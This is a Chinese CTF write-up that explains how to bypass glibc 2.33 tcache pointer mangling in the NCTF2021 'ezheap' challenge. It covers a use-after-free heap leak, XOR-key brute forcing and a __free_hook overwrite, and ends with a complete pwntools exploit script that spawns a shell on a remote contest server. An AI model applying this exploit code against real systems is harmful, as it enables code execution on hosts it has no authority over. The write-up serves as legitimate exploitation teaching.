一篇文章弄懂暴力拆解safe-unlink

VSole2021-11-30 15:05:26

前言

今天(2021.11.28)NCTF的题目让我大开眼界,上来最低利用版本都是2.31,新生都如此生猛了吗,由于我比较菜只搞定了这个ezheap,2.33版本的题目我也是第一次做,花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑,算是收获满满吧

由于这个2.33的利用我在网上并没有看见有文章发布,我就写一下供各位pwn学习参考。

前置知识

UAF,异或加密,hook利用

版本新增保护介绍

2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。

对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。

举例利用

例题:NCTF2021 ezheap

漏洞分析

如下存在UAF漏洞,对于heap的size位置零,但是指针未置零,可以造成堆复用

tips:可以利用glibc-all-in-one配合patchelf来建立题目的运行环境

命令如下

patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap

再说点骚操作,题目一般只给libc没有ld,可以直接把all in one的libc替换成题目给的,然后再去patchelf就可以使用上题目的libc了

低于2.33常规思路攻击

通常的思路就是先free一次但是heaparry指针保留,再申请回来就有一个新的指针指向同一个地址,直接uaf任意地址申请,attack free hook 梭哈getshell

2.33绕过方法

First 堆地址的泄露

首先申请两个chunk,然后直接free掉,此时这两个堆的fd位置的内容如下

0x5569374d8290: 0x0000000000000000 0x00000000000000910x5569374d82a0: 0x00000005569374d8 0x00005569374d80100x5569374d82b0: 0x0000000000000000 0x00000000000000000x5569374d82c0: 0x0000000000000000 0x00000000000000000x5569374d82d0: 0x0000000000000000 0x00000000000000000x5569374d82e0: 0x0000000000000000 0x00000000000000000x5569374d82f0: 0x0000000000000000 0x00000000000000000x5569374d8300: 0x0000000000000000 0x00000000000000000x5569374d8310: 0x0000000000000000 0x00000000000000000x5569374d8320: 0x0000000000000000 0x00000000000000910x5569374d8330: 0x0000556c61def678 0x00005569374d8010

由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后进行异或操作我们可以得到 heap:0x5569374d82a0

也就是此时chunk0的content addr,这个地址我们先记录下来

(由于我脚本是分多次启动打断点调试,数据不是同一批,具体可以自己去用脚本去调试)

Second 获取某个堆块的对应的异或key值

我们继续进行,假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin,目前的heap如下

pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x5650e8eb5000Size: 0x291
Allocated chunk | PREV_INUSEAddr: 0x5650e8eb5290Size: 0x91
Allocated chunk | PREV_INUSEAddr: 0x5650e8eb5320Size: 0x91
Allocated chunk | PREV_INUSEAddr: 0x5650e8eb53b0Size: 0x91
Allocated chunk | PREV_INUSEAddr: 0x5650e8eb5440Size: 0x91
Allocated chunk | PREV_INUSEAddr: 0x5650e8eb54d0Size: 0x91
Allocated chunk | PREV_INUSEAddr: 0x5650e8eb5560Size: 0x91
Free chunk (tcache) | PREV_INUSEAddr: 0x5650e8eb55f0Size: 0x91fd: 0x56558de5dbc5
Free chunk (unsortedbin) | PREV_INUSEAddr: 0x5650e8eb5680Size: 0x91fd: 0x7f95da868c00bk: 0x7f95da868c00
Allocated chunkAddr: 0x5650e8eb5710Size: 0x90
Top chunk | PREV_INUSEAddr: 0x5650e8eb57a0Size: 0x20861

bin状态如下

pwndbg> bintcachebins0x90 [  7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680smallbinsemptylargebinsempty

此时用第一步方法得到的堆地址是  0x5650e8eb52a0

然后为了形成堆复用,我们会再去add一个0x90的chunk,此时的heaparry如下

pwndbg> x/32gx 0x40a0+0x5650e83480000x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb53300x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb54500x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb55700x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb56900x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600

接着我们可以看下当前的bin情况如下

pwndbg> bintcachebins0x90 [  6]: 0x5650e8eb5570 ◂— 0x56558de5da55

我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570

我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25

上面我也提到了这个key是变化的,因此我们还要爆破下,但是爆破是可以找到范围的,我们可以利用常规的错误打法

先看看泄露的key和需要的key的一个偏移(很好玩的是这个偏移也是随机的)

我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54

我们看看错误的bin如下

pwndbg> bintcachebins0x90 [  6]: 0x7f8b1b63e5e4

正确的free hook地址:0x7f8e7a497e20

libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4

hex(0x5612a9bc4-0x5612a9a54)=0x170

我试了很多次的调试,libc_key有0x170,-0x170,0x190,-0x190当然实际情况实际调试,只要调试出来的值就是有可能的偏移

最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell

exp

from pwn import *r=process('./ezheap')#r=remote('129.211.173.64',10002)#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')libc=ELF('libc-2.33.so')#context.log_level='debug'def add(size,con):r.sendlineafter(">> ",'1')r.sendlineafter("Size: ",str(size))r.sendlineafter("Content: ",con)
def edit(idx,con):r.sendlineafter(">> ",'2')r.sendlineafter("Index: ",str(idx))r.sendafter("Content: ",con)
def show(idx):r.sendlineafter(">> ",'4')r.sendlineafter("Index: ",str(idx))
def dele(idx):r.sendlineafter(">> ",'3')r.sendlineafter("Index: ",str(idx))flag=1while flag:#r=process('./ezheap')r=remote('129.211.173.64',10002)for i in range(9):add(128,'1')dele(0)show(0)he0=u64(r.recv(6)+b'\x00'*2)print(hex(he0))dele(1)show(1)he1=u64(r.recv(6)+b'\x00'*2)print(hex(he1))heap=he0^he1print("heap:"+hex(heap))#gdb.attach(r)for i in range(2,8):dele(i)show(5)he=u64(r.recv(6)+b'\x00'*2)print(hex(he))show(6)he6=u64(r.recv(6)+b'\x00'*2)print(hex(he6))show(7)base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00print(hex(base))#gdb.attach(r)free_hook=base+libc.sym["__free_hook"]print(hex(free_hook))sys=base+libc.sym['system']add(128,'')tagerheap=heap+0x2d0print("target heap:"+hex(tagerheap))tagerheap_key=tagerheap^heprint("target heap_key:"+hex(tagerheap_key))libc_key=tagerheap_key+0x170print("target libc_key:"+hex(libc_key))#gdb.attach(r)dele(6)edit(9,p64(free_hook^libc_key)+b'')add(128,'/bin/sh\x00')add(128,'1')edit(11,p64(sys)+b'')#gdb.attach(r)dele(6)r.sendline("ls")a=r.recv()if b'bin' in a:r.interactive()print(a)flag=0else:r.close()

题目附件下载链接

关注“合天网安实验室”公众号回复:题目

异或hex
本作品采用《CC 协议》,转载必须注明作者和本文链接
因前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅,当我像往常一样上传冰蝎的webhsell时,发现冰蝎的马子居然被杀了.......于是便有了该文章.....
前言在系统被入侵后,需要迅速梳理出黑客的攻击路径,本文总结windows系统攻击溯源过程中必要的排查范围。排查项目用户查看当前登录用户query user
因前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅,当我像往常一样上传冰蝎的webhsell时,发现冰蝎的马子居然被杀了.......于是便有了该文章.....
这次的 PWNHUB 内部赛的两道题目都不是常规题,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的异或考察的则是通过逆向分析解密函数来构造栈溢出 ROP。两道题目的考点都非常新颖,其中第一道题更是结合了 Web,值得大家复现学习。
前置知识UAF,异或加密,hook利用版本新增保护介绍2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。
冰蝎流量免杀初探
2022-12-20 09:11:06
本文仅针对冰蝎流量改造进行初步探讨,熟悉一下整个流程,真的要绕流量设备,估计还需要其他的技巧。
MTCTF-2022 部分WriteUp
2022-11-23 09:35:37
MTCTF 本次比赛主力输出选手Article&Messa&Oolongcode,累计解题3Web,2Pwn,1Re,1CryptoWeb★easypickle题目给出源码:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是将从stack中出栈两元素分别导入的模块名和属性名:此外对于蓝帽杯WP还存在一个小问题,原题采用_loads函数加载pickle数据但本题是loads,在opcodes处理上会有些微不通具体来说就是用loads加载时会报错误如下:对着把传入参数换成元组就行,最终的payload如下
NO.1 前言之前介绍了CobaltStrike4.3的License认证分析,今天介绍一下CobaltStrike4.3去除CheckSum8特征的方法,CheckSum8的特征和具体算法不在此细说,
Android 逆向 apkrev
2021-09-27 16:16:28
看雪论坛作者ID:逆时针向左
VSole
网络安全专家